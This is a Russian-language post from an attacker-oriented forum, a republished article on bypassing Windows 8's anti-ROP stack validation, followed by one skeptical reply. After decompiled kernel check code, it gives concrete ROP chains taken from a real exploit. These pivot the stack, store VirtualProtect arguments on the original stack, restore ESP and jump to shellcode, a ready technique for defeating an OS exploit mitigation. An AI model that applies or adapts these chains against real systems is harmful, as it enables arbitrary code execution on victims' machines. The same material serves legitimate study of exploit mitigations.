• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Обход защиты от ROP в Windows 8

weaver

31 c0 bb ea 1b e6 77 66 b8 88 13 50 ff d3
Забанен
Регистрация
19.12.2018
Сообщения
3 301
Решения
11
Реакции
4 622
Депозит
0.0001
Пожалуйста, обратите внимание, что пользователь заблокирован
В Windows 8 было добавлено ряд нововведений, касающихся защиты от эксплоитов, включая защиту пользовательской кучи (userland heap) и кучи ядра (kernel heap), защиту от использования разыменований нулевого указателя в режиме ядра (kernel-mode) и защиту от неправильной эксплуатации таблиц указателей на виртуальные функции. Одно из нововведений связано с защитой от эксплоитов, использующих возвратно-ориентированное программирование (Return-oriented programming, ROP).

Возвратно-ориентированное программирование
Возвратно-ориентированное программирование является обобщением классических return-to-libc атак, когда последовательно выполняются небольшие участки инструкций, которые обычно находятся в конце функций, находящихся по известным адресам. Это достигается за счет управления данными, на которые указывает ESP, указатель вершины стека, так, что каждая ret-инструкция увеличивает значение регистра и ESP и передает выполнение по следующему адресу, выбранному злоумышленником.

Поскольку поиск нужной последовательности кода («гаджетов») может вызвать затруднения, большинство ROP-эксплоитов вначале создают участок памяти, выставляют у него права на запись и выполнения кода, а потом в этот участок копируется запускаемый шеллкод. Наиболее часто используемые функции – VirtualProtect, которая изменяет права доступа на сегмент, и VirtualAlloc, которая создает новый участок памяти. Существуют и другие реализации.

Второй общей чертой многих ROP-эксплоитов является то, что основной код (payload) не содержится в стеке потока в связи с характером уязвимости либо ограничением на добавление кода в адресное пространство уязвимого приложения. В большинстве случаев основной код располагается в куче, а в стеке находится указатель на кучу.

Механизмы защиты Windows 8 от ROP-эксплоитов
Microsoft, очевидно зная о двух вышеупомянутых особенностях, реализовала простенькую защиту в операционной системе Windows 8. Теперь каждая функция, которая работает с виртуальной памятью, включая наиболее известные VirtualProtect и VirtualAlloc, проверяет, попадает ли диапазон стека (как указано в структуре trap frame) в диапазон определенный блоком окружения потока (Thread Environment Block, TEB). Ниже приводится код от Алекса Ионеску (Alex Ionescu) для реализации такой защиты:

Код:
char __cdecl PsValidateUserStack()
{
    char Status; // al@1
    _KTRAP_FRAME *TrapFrame; // ecx@3
    _TEB *Teb; // ecx@3
    void *.Eip; // [sp+10h] [bp-88h]@3
    unsigned int .Esp; // [sp+14h] [bp-84h]@3
    void *StackLimit; // [sp+18h] [bp-80h]@3
    void *StackBase; // [sp+1Ch] [bp-7Ch]@3
    _EXCEPTION_RECORD ExitStatus; // [sp+24h] [bp-74h]@6
    CPPEH_RECORD ms_exc; // [sp+80h] [bp-18h]@3

    CurrentThread = (_ETHREAD *)__readfsdword(0x124u);
    Status = LOBYTE(CurrentThread->Tcb.___u42.UserAffinity.Reserved[0]);// // PreviousMode == User
    if ( Status )
    {
        __asm { bt dword ptr [edx+58h], 13h } // // KernelStackResident, ReadyTransition, Alertable
        Status = _CF;
        if ( _CF != 1 )
        {
            TrapFrame = CurrentThread->Tcb.TrapFrame;
            .Esp = TrapFrame->HardwareEsp;
            .Eip = (void *)TrapFrame->Eip;
            Teb = (_TEB *)CurrentThread->Tcb.Teb;
            ms_exc.disabled = 0;
            StackLimit = Teb->DeallocationStack;
            StackBase = Teb->NtTib.StackBase;
            ms_exc.disabled = -2;
            Status = .Esp;
            if ( .Esp < (unsigned int)StackLimit || .Esp >= (unsigned int)StackBase )
            {
                memset(&ExitStatus, 0, 0x50u);
                ExitStatus.ExceptionCode = STATUS_STACK_BUFFER_OVERRUN;
                ExitStatus.ExceptionAddress = .Eip;
                ExitStatus.NumberParameters = 2;
                ExitStatus.ExceptionInformation[0] = 4;
                ExitStatus.ExceptionInformation[1] = .Esp;
                Status = DbgkForwardException(&ExitStatus, 1, 1);
                if ( !Status )
                {
                Status = DbgkForwardException(&ExitStatus, 0, 1);
                if ( !Status )
                Status = ZwTerminateProcess((HANDLE)0xFFFFFFFF, ExitStatus.ExceptionCode);
                }
            }
        }
    }
    return Status;
}
Теперь эксплоиты, которые используют ROP-код, находящийся в куче, не могут создать сегменты памяти с правами доступа на запись и выполнение. Однако эту защиту легко обойти. Один из способов – отказаться от создания новых сегментов памяти и искать уже существующие участки кода («гаджеты»). Более простой способ обойти такую защиту поместить указатель в регистр ESPна вершину стека потока в момент вызова функций для работы с виртуальной памятью. Я полагаю, что атакующему доступен первоначальный адрес стека через какой-либо регистр, так как при занесении адреса кучи в стек используется инструкции xchg. Если это не так, возможно, будет полезно изучить методы получения адреса стека во время выполнения кода.

Обход защиты
Рассмотрим базовый ROP-код, который для примера я использовал в VCL-эксплоите. После запуска программы для изменения адреса стека используется такой «гаджет»:
Код:
xchg esi, esp
retn
В этом примере регистр ESI содержит указатель на кучу с управляемыми мной данными, и таким образом, изменив адрес стека, я могу выполнить ROP-код, который создает новые сегменты памяти:
Код:
rop = [
rop_base + 0x1022, # retn

# Call VirtualProtect()
rop_base + 0x2c283, # pop eax; retn
rop_base + 0x1212a4, # IAT entry for VirtualProtect -> eax
rop_base + 0x12fda, # mov eax,DWORD PTR [eax]
rop_base + 0x29d13, # jmp eax

rop_base + 0x1022, # retn
heap & ~0xfff, # lpAddress
0x60000, # dwSize
0x40, # flNewProtect
heap - 0x1000, # lpfOldProtect

# Enough of this ROP business...
rop_base + 0xdace8 # push esp; retn
]
Этот ROP-код получает адрес функции VirtualProtect из таблицы адресов импорта (Import Address Table, IAT), вызывает функцию VirtualProtect, которая устанавливает права выполнения для кучи, а затем выполняется шеллкод.
Поскольку ESP указывает на кучу, а не на стек, в момент выполнения функции VirtualProtect возникает ошибка. Однако это легко обойти, вот обновленный ROP-код:
Код:
rop = [
rop_base + 0x1022, # retn

# Пишем параметр lpfOldProtect в регистр ESI
rop_base + 0x2c283, # pop eax; retn
heap - 0x1000, # lpfOldProtect -> eax
rop_base + 0x1db4f, # mov [esi],eax; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn

# Пишем параметр flNewProtect в регистр ESI
rop_base + 0x2c283, # pop eax; retn
0x40, # flNewProtect -> eax
rop_base + 0x1db4f, # mov [esi],eax; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn

# Пишем параметр dwSize в регистр ESI
rop_base + 0x2c283, # pop eax; retn
0x60000, # dwSize -> eax
rop_base + 0x1db4f, # mov [esi],eax; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn

# Пишем параметр lpAddress в регистр ESI
rop_base + 0x2c283, # pop eax; retn
heap & ~0xfff, # lpAddress -> eax
rop_base + 0x1db4f, # mov [esi],eax; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn

# Затем пишем адрес кучи &Pivot в регистр ESI
rop_base + 0x2c283, # pop eax; retn
rop_base + 0x229a5, # &pivot -> eax
rop_base + 0x1db4f, # mov [esi],eax; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn

# Пишем указатель на функцию &VirtualProtect
rop_base + 0x2c283, # pop eax; retn
rop_base + 0x1212a4, # IAT entry for VirtualProtect -> eax
rop_base + 0x12fda, # mov eax,DWORD PTR [eax]
rop_base + 0x1db4f, # mov [esi],eax; retn

# Восстанавливаем первоначальный стек
rop_base + 0x229a5, # xchg esi,esp; retn;

# Переходим к выполнению шеллкода
rop_base + 0xdace8 # push esp; retn
]

]
Это очень грубый пример, но я надеюсь, идея будет вам понятна. Вначале я сохраняю аргументы для функции VirtualProtect в первоначальный стек, находящийся в регистре ESI. Далее в регистр ESI я поместил адрес кучи, который будет возвращен после выполнения функции VirtualProtect. В конце я использую все тот же «гаджет» для восстановления исходного адреса стека и перехода к выполнению функции VirtualProtect.

Из-за того, что я каждый раз уменьшал значение регистра ESI без использования «гаджета», размер эксплоита увеличился на 124 байта. Вероятно, его размер можно уменьшить. В остальных случаях, полагаю, можно реализовать такой алгоритм с намного меньшими издержками.


Автор: c0decstuff
 
Последнее редактирование:
" поскольку поиск нужной последовательности кода («гаджетов») может вызвать затруднения, большинство ROP-эксплоитов вначале создают участок памяти, выставляют у него права на запись и выполнения кода, а потом в этот участок копируется запускаемый шеллкод." Да ладно?)))
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх